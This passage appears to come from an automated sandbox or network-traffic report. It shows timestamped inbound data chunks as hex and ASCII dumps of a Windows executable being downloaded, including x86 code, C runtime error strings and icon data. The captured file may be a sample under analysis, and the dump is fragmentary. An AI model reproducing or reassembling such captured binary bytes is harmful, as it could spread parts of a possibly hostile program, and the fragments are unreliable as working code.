00 7f 04 3b c1 72 19 53 51 Data Ascii: f=9vMmEFMf}EM}f}\|QW#UM#Ef=v1FftFu0H;Et9u:@}~uj0V(uE8u}4$pWF3%#+ESYx;r+F-F;0\|$;rSQ
2022-08-31 12:28:47 UTC	47	IN	Data Raw: 83 7c 24 04 00 75 02 33 c0 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 57 8b 7d 08 33 c0 83 c9 ff f2 ae 83 c1 01 f7 d9 83 ef 01 8a 45 0c fd f2 ae 83 c7 01 38 07 74 04 33 c0 eb 02 8b c7 fc 5f c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 4e 85 ff ff 8d 45 dc 50 33 db 53 53 53 53 57 8d 45 d8 50 8d 45 f0 50 e8 04 0f 00 00 89 45 ec 8d 45 f0 56 50 e8 73 04 00 00 83 c4 28 f6 45 ec 03 75 2b 83 f8 01 75 11 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 6e 68 ff ff c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 Data Ascii: \|$u3UW}3E8t3_U( A3ESVuWu}MNEP3SSSSWEPEPEEVPs(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[nhU( A3ESVuWu
2022-08-31 12:28:47 UTC	48	IN	Data Raw: 8d 7d e0 ab ab 6a 02 ab 58 e9 95 04 00 00 83 65 08 00 56 8d 75 e0 8d 7d d4 a5 a5 a5 8b 35 b8 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d Data Ascii: }jXeVu}5ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}
2022-08-31 12:28:47 UTC	50	IN	Data Raw: 7d d4 a5 a5 a5 8b 35 d0 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d 6a 03 59 8d 7c 85 e0 2b c8 33 c0 f3 ab 83 7d 08 00 74 01 43 a1 cc 1f Data Ascii: }5ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}jY\|+3}tC
2022-08-31 12:28:47 UTC	51	IN	Data Raw: 0b 0f 87 2f 02 00 00 ff 24 8d 81 c8 40 00 8a c8 80 e9 31 80 f9 08 77 06 6a 03 59 4a eb dd 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 05 6a 05 59 eb c7 0f be c0 83 e8 2b 74 1d 48 48 74 0d 83 e8 03 0f 85 8b 01 00 00 8b ce eb ae 6a 02 59 c7 45 8c 00 80 00 00 eb a2 83 65 8c 00 6a 02 59 eb 99 8a c8 80 e9 31 80 f9 08 89 75 a8 76 a9 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 04 6a 04 eb ad 3c 2b 74 28 3c 2d 74 24 3a c3 74 b9 3c 43 0f 8e 3c 01 00 00 3c 45 7e 10 3c 63 0f 8e 30 01 00 00 3c 65 0f 8f 28 01 00 00 6a 06 eb 81 4a 6a 0b e9 79 ff ff ff 8a c8 80 e9 31 80 f9 08 0f 86 52 ff ff ff 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 0f 84 54 ff ff ff 3a c3 0f 84 66 ff ff ff 8b 55 ac e9 14 01 00 00 89 75 a8 eb 1a 3c 39 7f 1a 83 7d b4 19 73 0a ff 45 b4 2a c3 Data Ascii: /$@1wjYJM$:ujY+tHHtjYEejY1uvM$:uj<+t(<-t$:t<C<<E~<c0<e(jJjy1RM$:T:fUu<9}sE*
2022-08-31 12:28:47 UTC	52	IN	Data Raw: ff ff 7f 8b 75 b4 73 1c 66 8b 4d d6 66 89 4d c4 8b 4d d8 89 4d c6 8b 4d dc 0b f8 89 4d ca 66 89 7d ce eb 1a 66 f7 d8 1b c0 83 65 c8 00 25 00 00 00 80 05 00 80 ff 7f 83 65 c4 00 89 45 cc 83 7d ac 00 0f 85 6c fd ff ff 8b 45 cc 0f b7 4d c4 8b 75 c6 8b 55 ca c1 e8 10 eb 2f c7 45 94 04 00 00 00 eb 1e 33 f6 b8 ff 7f 00 00 ba 00 00 00 80 33 c9 c7 45 94 02 00 00 00 eb 0f c7 45 94 01 00 00 00 33 c9 33 c0 33 d2 33 f6 8b 7d 84 0b 45 8c 66 89 0f 66 89 47 0a 8b 45 94 89 77 02 89 57 06 8b 4d fc 5f 5e 33 cd 5b e8 43 53 ff ff c9 c3 8d 49 00 85 c2 40 00 d9 c2 40 00 2f c3 40 00 62 c3 40 00 a7 c3 40 00 df c3 40 00 f3 c3 40 00 4e c4 40 00 39 c4 40 00 b8 c4 40 00 ad c4 40 00 5c c4 40 00 55 8b ec 83 ec 74 a1 20 10 41 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 Data Ascii: usfMfMMMMMf}fe%eE}lEMuU/E33EE3333}EffGEwWM_^3[CSI@@/@b@@@@N@9@@@\@Ut A3ES]VWu}
2022-08-31 12:28:47 UTC	54	IN	Data Raw: ff 45 b4 0f b7 d1 8b ce 33 ca 23 d3 23 f3 81 e1 00 80 00 00 66 3b d3 8d 3c 16 89 45 a8 89 45 f0 89 45 f4 89 45 f8 0f b7 ff 0f 83 fe 01 00 00 66 3b f3 0f 83 f5 01 00 00 66 81 ff fd bf 0f 87 ea 01 00 00 66 81 ff bf 3f 77 08 89 45 e8 e9 ef 01 00 00 66 3b d0 75 1d 47 f7 45 e8 ff ff ff 7f 75 13 39 45 e4 75 0e 39 45 e0 75 09 66 89 45 ea e9 d3 01 00 00 66 3b f0 75 14 47 f7 45 d8 ff ff ff 7f 75 0a 39 45 d4 75 05 39 45 d0 74 bd 83 65 ac 00 8d 45 f4 c7 45 c0 05 00 00 00 8b 55 ac 8b 75 c0 03 d2 85 f6 89 75 b0 7e 52 8d 75 d8 8d 54 15 e0 89 75 a4 89 55 b8 8b 55 a4 8b 75 b8 0f b7 36 0f b7 12 83 65 bc 00 0f af d6 8b 70 fc 8d 1c 16 3b de 72 04 3b da 73 07 c7 45 bc 01 00 00 00 83 7d bc 00 89 58 fc 74 03 66 ff 00 83 45 b8 02 83 6d a4 02 ff 4d b0 83 7d b0 00 7f bb 40 40 ff Data Ascii: E3##f;<EEEEf;ff?wEf;uGEu9Eu9EufEf;uGEu9Eu9EteEEUuu~RuTuUUu6ep;r;sE}XtfEmM}@@
2022-08-31 12:28:47 UTC	55	IN	Data Raw: fa 00 00 00 01 5e 5b 74 16 81 fa 00 00 00 02 74 0a 3b d1 75 0f 0d 00 80 00 00 c3 83 c8 40 c3 0d 40 80 00 00 c3 83 ec 10 53 55 56 57 9b d9 7c 24 14 8b 5c 24 14 33 d2 f6 c3 01 74 03 6a 10 5a f6 c3 04 74 03 83 ca 08 f6 c3 08 74 03 83 ca 04 f6 c3 10 74 03 83 ca 02 f6 c3 20 74 03 83 ca 01 f6 c3 02 74 06 81 ca 00 00 08 00 0f b7 cb 8b c1 bf 00 0c 00 00 23 c7 bd 00 03 00 00 be 00 02 00 00 74 20 3d 00 04 00 00 74 13 3d 00 08 00 00 74 08 3b c7 75 0e 0b d5 eb 0a 0b d6 eb 06 81 ca 00 01 00 00 23 cd 74 0c 3b ce 75 0e 81 ca 00 00 01 00 eb 06 81 ca 00 00 02 00 66 f7 c3 00 10 74 06 81 ca 00 00 04 00 8b 74 24 28 8b 4c 24 24 8b c6 f7 d0 23 c2 23 ce 0b c1 3b c2 89 44 24 1c 0f 84 aa 00 00 00 8b d8 e8 0d fe ff ff 0f b7 c0 89 44 24 10 d9 6c 24 10 9b d9 7c 24 10 8b 5c 24 10 33 Data Ascii: ^[tt;u@@SUVW\|$\$3tjZttt tt#t =t=t;u#t;uftt$(L$$##;D$D$l$\|$\$3
2022-08-31 12:28:47 UTC	59	IN	Data Raw: 20 72 75 6e 74 69 6d 65 20 6c 69 62 72 61 72 79 20 69 6e 63 6f 72 72 65 63 74 6c 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 27 73 20 73 75 70 70 6f 72 74 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 33 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 75 73 65 20 4d 53 49 4c 20 63 6f 64 65 20 66 72 6f 6d 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 20 64 75 72 69 6e 67 20 6e 61 74 69 76 65 20 63 6f 64 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 20 49 74 20 69 73 20 6d 6f 73 74 20 6c 69 6b 65 6c 79 20 74 68 65 Data Ascii: runtime library incorrectly.Please contact the application's support team for more information.R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the
2022-08-31 12:28:47 UTC	63	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 68 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 Data Ascii: h((((
2022-08-31 12:28:47 UTC	67	IN	Data Raw: 06 01 00 d8 06 01 00 ec 06 01 00 fa 06 01 00 08 07 01 00 16 07 01 00 2e 07 01 00 46 07 01 00 5e 07 01 00 6e 07 01 00 7c 07 01 00 90 07 01 00 9e 07 01 00 aa 07 01 00 ba 07 01 00 d0 07 01 00 e6 07 01 00 00 08 01 00 18 08 01 00 32 08 01 00 4c 08 01 00 5e 08 01 00 70 08 01 00 82 08 01 00 90 08 01 00 a2 08 01 00 b0 08 01 00 bc 08 01 00 ca 08 01 00 d4 08 01 00 ec 08 01 00 fc 08 01 00 12 09 01 00 2a 09 01 00 44 09 01 00 54 09 01 00 6a 09 01 00 84 09 01 00 a0 09 01 00 a8 09 01 00 b4 09 01 00 c0 09 01 00 ca 09 01 00 d6 09 01 00 ec 09 01 00 02 0a 01 00 12 0a 01 00 24 0a 01 00 38 0a 01 00 48 0a 01 00 58 0a 01 00 6a 0a 01 00 7c 0a 01 00 00 00 00 00 18 00 00 80 17 00 00 80 13 00 00 80 14 00 00 80 11 00 00 80 0a 00 00 80 09 00 00 80 08 00 00 80 96 00 00 80 95 00 00 80 Data Ascii: .F^n\|2L^p*DTj$8HXj\|
2022-08-31 12:28:47 UTC	72	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e2 40 00 f8 e1 40 00 d8 e1 40 00 00 00 00 00 65 46 40 00 00 00 00 00 02 00 00 00 b8 e7 40 00 08 00 00 00 8c e7 40 00 09 00 00 00 60 e7 40 00 0a 00 00 00 c8 e6 40 00 10 00 00 00 9c e6 40 00 11 00 00 00 6c e6 40 00 12 00 00 00 48 e6 40 00 13 00 00 00 1c Data Ascii: @@@eF@@@`@@@l@H@
2022-08-31 12:28:47 UTC	74	IN	Data Raw: 38 30 30 30 0d 0a 40 00 20 05 93 19 00 00 00 00 00 00 00 00 00 00 00 00 50 f2 40 00 52 f4 40 00 80 fa 40 00 7c fa 40 00 78 fa 40 00 74 fa 40 00 70 fa 40 00 6c fa 40 00 68 fa 40 00 60 fa 40 00 58 fa 40 00 50 fa 40 00 44 fa 40 00 38 fa 40 00 30 fa 40 00 24 fa 40 00 20 fa 40 00 1c fa 40 00 18 fa 40 00 14 fa 40 00 10 fa 40 00 0c fa 40 00 08 fa 40 00 04 fa 40 00 00 fa 40 00 fc f9 40 00 f8 f9 40 00 f4 f9 40 00 ec f9 40 00 e0 f9 40 00 d8 f9 40 00 d0 f9 40 00 10 fa 40 00 c8 f9 40 00 c0 f9 40 00 b8 f9 40 00 ac f9 40 00 a4 f9 40 00 98 f9 40 00 8c f9 40 00 88 f9 40 00 84 f9 40 00 78 f9 40 00 64 f9 40 00 58 f9 40 00 09 04 00 00 01 00 00 00 00 00 00 00 28 1d 41 00 2e 00 00 00 e4 1d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 Data Ascii: 8000@ P@R@@\|@x@t@p@l@h@`@X@P@D@8@0@$@ @@@@@@@@@@@@@@@@@@@@@@@@@@x@d@X@(A.A-A-A-A-A-A-A-A
2022-08-31 12:28:47 UTC	78	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:47 UTC	82	IN	Data Raw: 19 79 10 00 00 00 00 00 87 f8 87 ff 98 93 90 00 00 00 00 00 03 ff 89 ff 37 97 90 00 00 00 00 00 08 ff 98 39 98 99 70 00 00 00 00 00 08 7b 77 88 88 89 30 00 00 00 00 00 08 88 88 9b 99 87 90 00 00 00 00 00 00 88 b8 77 7b 98 80 00 00 00 00 00 00 08 79 b9 79 79 80 00 00 00 00 00 00 00 08 78 80 00 00 00 00 00 ff ff bf 00 ff f8 0f 00 ff c0 07 00 f8 c0 03 00 80 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 07 00 00 00 3f 00 80 00 7f 00 c0 00 7f 00 f0 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 f8 00 7f 00 fc 00 7f 00 fe 00 7f 00 ff 87 ff 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 Data Ascii: y79p{w0w{yyyx?(
2022-08-31 12:28:47 UTC	86	IN	Data Raw: 00 ff ff c0 1f ff ff 00 00 ff ff e1 ff ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 08 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 7e 3d 07 00 44 2d 33 00 1a 5b 36 00 1b 5e 39 00 1d 62 3d 00 26 60 3e 00 5b 41 3c 00 7f 53 28 00 29 22 54 00 3e 35 5d 00 17 1e 7d 00 1e 66 40 00 1f 68 42 00 20 6b 45 00 22 6e 48 00 23 73 4c 00 25 77 50 00 26 7a 52 00 28 7e 57 00 38 73 53 00 3b 7a 59 00 29 76 66 00 31 69 78 00 84 44 0b 00 89 46 0b 00 8c 4c 10 00 8e 50 15 00 92 53 15 00 92 55 19 00 95 59 1a 00 99 5d 1e 00 98 5e 22 00 9c 63 22 00 9c 6b 2e 00 9d 6b 3c 00 a0 69 26 00 a2 6c 2a 00 a5 71 2d 00 a1 6f 33 00 a4 6f 3b 00 a4 74 32 00 a9 76 33 00 aa 78 32 00 a5 74 3c 00 a8 75 39 00 ac 7e 3a 00 9e 73 40 00 a9 77 41 00 ac 7b Data Ascii: ( @~=D-3[6^9b=&`>[A<S()"T>5]}f@hB kE"nH#sL%wP&zR(~W8sS;zY)vf1ixDFLPSUY]^"c"k.k<i&l*q-o3o;t2v3x2t<u9~:s@wA{
2022-08-31 12:28:47 UTC	90	IN	Data Raw: bd 9a 61 00 be 98 65 00 8a a9 70 00 c2 99 49 00 c4 9f 57 00 d2 ab 59 00 c5 9f 60 00 c8 a7 72 00 ca ab 7b 00 de bc 7a 00 f1 d0 7f 00 0a 17 8e 00 03 14 a9 00 09 1a b6 00 11 20 b2 00 15 26 bd 00 18 27 ba 00 1a 25 bf 00 2e 39 b7 00 52 6f 90 00 6b 6d 9e 00 4b 4e ab 00 15 27 c7 00 1d 2d c1 00 22 33 c6 00 32 3e c6 00 24 3b e2 00 2f 40 cf 00 35 42 c0 00 35 44 cb 00 39 44 c8 00 3d 49 d2 00 39 59 e0 00 3e 5a e2 00 4f 5c c3 00 46 5a dc 00 50 5e d5 00 4f 6d c5 00 57 64 d3 00 52 65 df 00 5c 69 d8 00 62 70 dd 00 46 5b e1 00 41 62 e5 00 47 68 e6 00 4f 76 e9 00 57 7d ea 00 4b 90 81 00 48 aa 84 00 5c a1 84 00 5b b5 93 00 5c bd 98 00 61 a5 88 00 5c cd 9d 00 6e c6 a6 00 72 ce af 00 79 d6 b6 00 7b db b2 00 5e 95 f1 00 62 8d ed 00 7a 85 e6 00 79 8b eb 00 7e 8c ea 00 77 8d f4 Data Ascii: aepIWY`r{z &'%.9RokmKN'-"32>$;/@5B5D9D=I9Y>ZO\FZP^OmWdRe\ibpF[AbGhOvW}KH\[\a\nry{^bzy~w
2022-08-31 12:28:47 UTC	94	IN	Data Raw: bc ef 6f 60 1c 14 58 15 41 00 49 5e 62 10 3c 47 20 0c 41 a6 41 43 84 73 88 d3 92 e1 ea 03 7e 31 66 00 05 60 23 f5 fb 62 14 49 40 05 24 c3 d9 21 c6 03 90 2a 88 ad c6 03 1a 4d d8 5d 97 a1 d7 9c 0a 56 3f 3e 67 31 0a f0 f1 e5 aa 7e 1f 37 56 00 03 d3 8e 23 00 6c 9e 05 dc 33 b1 33 37 e7 40 cd 59 a0 35 0b 63 9a a0 fe 06 d0 6b 7b 42 a0 1e 3c f0 b4 94 d7 96 9f ad 38 4f dc 61 15 60 03 a4 b4 5b 90 2b 01 13 7c 75 76 17 e0 41 0f 8a fe bb 09 16 5a 07 02 2d a2 1b 62 a2 0b 11 5d 03 00 42 1a 80 04 05 73 5f 1e 51 bd c8 1a 1e 3d 00 54 dd 10 8b 2e 2e 05 20 f2 5e b4 c1 a8 a0 a0 c4 18 30 9c 04 2c 60 17 96 50 ce ec c2 66 b7 0f 0a 56 1f 03 c1 1e 01 3f 88 0c 40 63 02 18 94 76 1e 01 f0 8b 30 08 20 38 a0 b3 02 b4 cf 01 ec 8f 37 e7 40 ad 19 98 e6 3c cc 64 03 e8 6d 80 7a 41 21 10 01 Data Ascii: o`XAI^b<G AACs~1f`#bI@$!*M]V?>g1~7V#l337@Y5ck{B<8Oa`[+\|uvAZ-b]Bs_Q=T.. ^0,`PfV?@cv0 87@<dmzA!
2022-08-31 12:28:47 UTC	98	IN	Data Raw: 66 75 e5 13 6d 74 c4 5f 59 7f 29 a7 67 fd 31 38 5d dc 9e 07 01 a3 c5 07 92 38 c0 00 f0 13 51 e0 dc a8 66 12 e0 53 9a 87 02 be 2f cb ec 40 71 db d8 fa 6f 29 ed 48 02 a8 80 4e 0f cd 69 45 00 d5 e7 2e 35 59 0b 3a 7c f5 e8 88 bf 6a 53 45 19 84 9f 7d d9 31 98 66 2b b6 a7 28 30 b9 ff 10 0e ec 3f 84 03 df f3 36 00 40 6f f5 02 56 bf fc 10 ce fd fd c7 71 ea 83 7f 84 e6 c6 1a a6 a6 66 30 33 3b 9f 10 4c 04 5f fd 9c 7a 72 25 a8 d7 f3 5f f4 31 16 ae d7 0f ed e2 f2 e9 63 bb 7a ba 6e e5 d1 dc 0a a1 51 06 56 84 38 04 af c9 2c 7e 58 e6 3c df ab 8a 02 90 6a 23 f0 a5 fc 38 d5 a6 1d 47 00 c4 88 ce 3b 4b 45 19 c8 1e 23 95 40 7f 63 1d 8d e9 99 81 db 0f de f4 2e f4 ff e6 f7 d1 68 34 c4 9a eb 27 fe 12 f2 19 10 f1 5f 3f 7f 01 47 7f e9 97 47 b6 a5 39 3b 87 5d d7 be 16 bb ae 7d 2d Data Ascii: fumt_Y)g18]8QfS/@qo)HNiE.5Y:\|jSE}1f+(0?6@oVqf03;L_zr%_1cznQV8,~X<j#8G;KE#@c.h4'_?GG9;]}-
2022-08-31 12:28:47 UTC	103	IN	Data Raw: 0d c0 f7 fc 1c c8 5c da a0 0b 3d f3 28 ca 93 9d 08 56 d5 ae 8b 09 02 f2 8b 4b ea 01 9b 02 34 1c 04 3a 5e a0 ec b3 20 6b 3b be ee a3 2d 38 5f bc 78 4a 29 a1 10 d2 ba f4 f9 00 4c d8 29 71 8c 49 60 70 7a d6 04 f0 a1 87 7f fe d6 f9 d6 15 b7 4f 14 b3 8b 04 07 47 2e f5 e7 83 d5 07 d4 78 b9 6c 27 b5 dd 88 2f 6f 8d 81 4b a6 00 eb 98 01 10 e5 39 f9 d9 82 44 32 ce ef a7 0f c3 3b bc ce 82 8c 0b 84 43 a0 cd 8d 14 fc 0c 5a 6d f5 5d ec eb 7c 28 37 92 00 4c 04 3f 8f 28 a8 39 fe 38 d3 83 5b 79 1c b4 78 c5 25 5d e3 f6 5f fe 67 b8 9e 7a 05 b7 76 59 ec 16 da c7 cd b4 88 e0 67 cb ad c0 9f 5a fd 00 50 06 98 90 da 25 5a 7f 9f d1 4b 19 69 40 ed 1b 16 b9 ca 84 58 eb 49 24 06 02 f9 18 91 44 c6 14 30 38 5d 32 01 dc f1 f0 cf 1e 59 98 38 72 7c aa b1 eb 7a 03 03 47 0e 31 a8 67 60 61 Data Ascii: \=(VK4:^ k;-8_xJ)L)qI`pzOG.xl'/oK9D2;CZm]\|(7L?(98[yx%]_gzvYgZP%ZKi@XI$D08]2Y8r\|zG1g`a
2022-08-31 12:28:47 UTC	106	IN	Data Raw: 38 30 30 30 0d 0a 43 ce 93 28 04 79 31 87 89 ea 80 dd 14 16 02 71 76 5f 0a 00 01 3c 9f f8 50 f0 fb 56 e9 eb a4 3b be 58 bf cc 72 5d 32 f8 f9 56 a8 fa aa 75 5f 0c f8 d5 35 e0 d6 d6 81 9f b7 86 f5 b1 6c 3c 7f de 10 2d 6e 4d 9b 29 dd 57 d7 9d 10 07 1f 1b 7c ad f9 7e a4 d7 3b b6 45 fd 48 2e 3d 00 c2 67 67 2e c7 f2 4b de 86 cd 99 5d 68 d8 02 a6 30 55 02 b0 f6 98 b1 f6 98 29 ec 6d c6 5a bc ec 9f bd f7 84 29 cc b2 b5 76 d9 18 bb fc e0 6f fe 8b 6f 7a 42 68 48 9f 0d 29 f6 e1 94 08 6a 89 82 1c fa d4 57 a0 31 30 a6 81 c2 34 60 4d 13 20 8b 02 93 b0 34 01 87 1e c8 94 30 e8 05 b7 c1 03 5f 02 82 1c d4 43 1c ea e3 61 3c 8e 1d 10 41 05 21 63 de 2b 7e 0f 7a 3f d9 c8 2f fb fa 08 f2 50 00 13 45 dd 3b 00 ea 22 fe 79 07 dc 12 58 33 e0 6a f2 00 54 3e 82 15 ea 3a 0b 94 24 1f c9 Data Ascii: 8000C(y1qv_<PV;Xr]2Vu_5l<-nM)W\|~;EH.=gg.K]h0U)mZ)voozBhH)jW104`M 40_Ca<A!c+~z?/PE;"yX3jT>:$
2022-08-31 12:28:47 UTC	110	IN	Data Raw: 2a e2 3f 2c b8 58 01 be fa b9 da 7c 3a 59 85 eb b3 06 28 0a 93 58 7e be ad f1 3b 86 94 de 67 03 e9 10 fd 09 83 53 97 4f e0 d4 e5 2d 9c 08 d7 74 f7 49 4f 06 97 9d ea 62 ff a9 9e b7 43 03 81 9b 12 57 3d 11 08 53 a7 79 ee 94 aa 0e a8 f3 8d f7 5d 76 8e f7 31 94 95 d5 d2 2e 65 42 c2 31 3a 44 f8 84 9d c3 dd c7 de 89 fe be 97 f8 97 74 04 c0 c7 79 fb d9 b3 f9 21 8f 24 c8 87 64 2c 3f 06 f5 10 f3 80 cc e2 63 eb 0d 40 3d 1b a6 3d 76 76 15 52 30 44 37 9d d4 0a c0 1a 2b d7 1f 5c 57 85 04 6a ee 77 28 9b 93 40 be cf e2 44 13 8b e1 a3 2d dd 7e 99 80 bc 74 31 80 1d f3 ce 0b b2 6d 48 32 0a a0 c1 2e b7 52 81 9b 01 58 8d f8 6b eb 18 3b 13 74 99 3a f0 27 a4 01 0c 8a f8 6b e0 27 e0 17 50 a6 60 17 35 51 17 f1 e7 fa 87 90 80 1c 43 03 de a9 f5 e1 e7 25 ab a9 b7 f8 26 ed 05 f2 e6 Data Ascii: *?,X\|:Y(X~;gSO-tIObCW=Sy]v1.eB1:Dty!$d,?c@==vvR0D7+\Wjw(@D-~t1mH2.RXk;t:'k'P`5QC%&
